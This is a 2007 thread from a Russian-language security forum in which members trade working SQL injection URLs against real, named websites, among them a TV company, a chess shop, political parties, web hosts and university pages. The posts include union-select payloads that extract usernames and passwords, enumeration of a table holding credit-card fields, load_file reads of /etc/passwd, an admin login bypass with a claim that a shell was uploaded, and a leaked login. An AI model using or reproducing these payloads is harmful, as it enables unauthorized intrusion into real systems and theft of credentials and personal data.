HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.07.2007, 17:44
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
По умолчанию

Цитата:
Сообщение от k8^cat.YOU  

Межгосударственная телерадиокомпания «Мир»

mysql 4, magic_quotes off, file_priv off.
http://www.mirtv.ru/show.php?id=14968+order+by+5&templ=news
http://www.mirtv.ru/show.php?id=-14968+union+select+1,version(),3,4,5&templ=news

и вообще сайт очень насыщен sql-инекциями

ps.
http://www.mirtv.ru/admin/
login: admin' or 1=1/*
pass: k8<3you

шелл залит, сюда не выкладывать и не дефейсить - будьте людьми. ваши варианты залития в пм
Странно.. шелл залил, но листинг директорий запрещен... бага банальная.. но лови +2
 
Ответить с цитированием

  #2  
Старый 17.07.2007, 20:49
XTErner
Участник форума
Регистрация: 13.03.2007
Сообщений: 120
Провел на форуме:
1604641

Репутация: 590
По умолчанию

shop
Цитата:
http://www.chessbase.com/shop/product.asp?pid=1+or+1=(SELECT+TOP+1+TABLE_NAME+FR OM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+ IN+('nachrichten','acpplayers','bundesligaspieler' ,'cbuser','dailychess','dedownload','deevent','des upport','deutschmann_pw','deutschmann_shop','downl oad_e','dtproperties','elturco','esnews','events_e ','lapista','news','pictureup','products','product s_es','servernews_es','shopd','spotlight','support ','support_e','sysconstraints','syssegments','trai ning','turnierraum','usdollar','users'))--
Цитата:
http://www.chessbase.com/shop/product.asp?pid=1+or+1=(SELECT+TOP+1+COLUMN_NAME+F ROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='u sers'+AND+COLUMN_NAME+NOT+IN+('user_id','user_user name','user_password','user_email','user_street',' user_city','user_state','user_zip','user_ccnumber' ,'user_cctype','user_ccexpires','user_ccname'))--
Цитата:
http://www.chessbase.com/shop/product.asp?pid=1+or+1=(SELECT+TOP+1+cast(user_use rname+as+nvarchar)%2B%27%3A%27%2Bcast(user_passwor d+as+nvarchar)+from+users+where+user_id=1)--
 
Ответить с цитированием

  #3  
Старый 18.07.2007, 00:04
Y.Dmitriy
Постоянный
Регистрация: 14.03.2007
Сообщений: 367
Провел на форуме:
1392441

Репутация: 161
По умолчанию

Цитата:
http://www.greenparty.ua/?p=news_a&ln=3&cats=-1'+union+select+user()/*
ПАРТИЯ ЗЕЛЁНЫХ Украины
Цитата:
http://www.spu.in.ua/ua/search/?search_word=1'
Социалистическая партия Украины (ток чёт я ту не разобрался)

Последний раз редактировалось Y.Dmitriy; 18.07.2007 в 00:14..
 
Ответить с цитированием

  #4  
Старый 18.07.2007, 03:57
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
Провел на форуме:
1628290

Репутация: 474
По умолчанию

Создание сайтов, веб дизайн, раскрутка сайтов, создание интернет-магазинов, создание мультимедийных презентаций, интранет-сайты, фирменный стиль, разработка логотипов, продвижение сайтов, поисковая оптимизация - OnArt
www.onart.ru
Хреново создают сайты, если у самих скулей полно
Код:
http://www.onart.ru/index.php?page=54&id=-14+UNION+SELECT+1,2,3,concat(login,0x3a,password),5,6,7,8,9+from+users+limit+0,1/*
adminnart333
 
Ответить с цитированием

  #5  
Старый 18.07.2007, 04:14
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
Провел на форуме:
1628290

Репутация: 474
По умолчанию

сайт какого-то хостера (divhost.ru)
Код:
http://divhost.ru/news.php?id=1+union+select+1,2,3,concat(user(),char(58),database(),char(58),version())/*
 
Ответить с цитированием

  #6  
Старый 18.07.2007, 04:31
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
Провел на форуме:
1628290

Репутация: 474
По умолчанию

еще один хостер
www.ukrnic.com
Код:
http://www.ukrnic.com/hosting_info.php?id=-3+union+select+1,2,concat(user(),0x3a,version())/*
 
Ответить с цитированием

  #7  
Старый 18.07.2007, 06:16
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
По умолчанию

Код:
http://www.housing.wisc.edu/resnet/news/story.php?id=-1+union+select+1,2,3,4,5,load_file(char(47,101,116,99,47,112,97,115,115,119,100,45)),7,8,9,0/*
 
Ответить с цитированием

  #8  
Старый 18.07.2007, 06:57
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
По умолчанию

Код:
http://experts.uchicago.edu/experts.php?id=-1+union+select+1,2,3,4,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2/*
 
Ответить с цитированием

  #9  
Старый 18.07.2007, 10:47
K1nD[e]R
Участник форума
Регистрация: 16.06.2007
Сообщений: 133
Провел на форуме:
1877761

Репутация: 237
По умолчанию

Цитата:
http://aei-brookings.org/events/page.php?id=-152+union+select+1,2,3/*
первая моя SQL-inj
 
Ответить с цитированием

  #10  
Старый 18.07.2007, 19:27
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

http://peacekeeper.ru
user=\
Код:
http://peacekeeper.ru/index.php?mid=-1769+union+select+1,2,3,4,5,6,version(),8,user(),10,11,12,13/*
Код:
 http://peacekeeper.ru/index.php?mid=-1769+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13+from+Information_schema.columns+where+table_name=0x6d69726f74766f7265635f6d61696e/*
Код:
http://peacekeeper.ru/index.php?mid=-1769+union+select+1,2,3,4,5,6,concat(id,char(58),name2),8,9,10,11,12,13+from+mirotvorec_main/*
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.